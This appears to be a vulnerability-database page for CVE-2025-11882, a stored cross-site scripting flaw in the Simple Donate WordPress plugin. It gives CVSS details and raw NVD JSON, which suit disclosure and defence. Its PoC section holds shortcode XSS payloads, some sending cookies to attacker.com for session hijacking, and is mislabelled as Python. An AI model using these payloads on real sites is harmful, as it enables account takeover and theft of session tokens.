Security Vulnerability Report
中文
CVE-2025-11882 CVSS 6.4 MEDIUM

CVE-2025-11882

Published: 2025-11-11 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The Simple Donate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's simpledonate shortcode in versions less than, or equal to, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Donate WordPress插件 <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Simple Donate Plugin XSS PoC --> <!-- Author: Security Researcher --> <!-- Target: WordPress Simple Donate Plugin <= 1.0 --> <!-- XSS via simpledonate shortcode attribute injection --> [simpledonate amount="100" onerror="alert(document.cookie)"] <!-- Alternative payload with img tag --> [simpledonate amount="100" currency="USD"><img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"] <!-- Stored XSS via description parameter --> [simpledonate description="<script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>"] <!-- Real-world attack scenario - Session hijacking --> [simpledonate amount="1" currency="USD"><script>document.location='https://attacker.com/collect?cookie='+document.cookie;</script>] <!-- Notes: --> <!-- 1. Attacker needs contributor-level WordPress account --> <!-- 2. Payload is stored in database and executes on every page view --> <!-- 3. Can be used to steal admin credentials or session tokens --> <!-- 4. Mitigation: Update to latest version, use WAF, implement CSP -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11882", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:44.100", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Donate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's simpledonate shortcode in versions less than, or equal to, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-donate/tags/1.0/index.php#L237", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d661c24e-48f3-4b97-aa34-e46bd3907546?source=cve", "source": "[email protected]"}]}}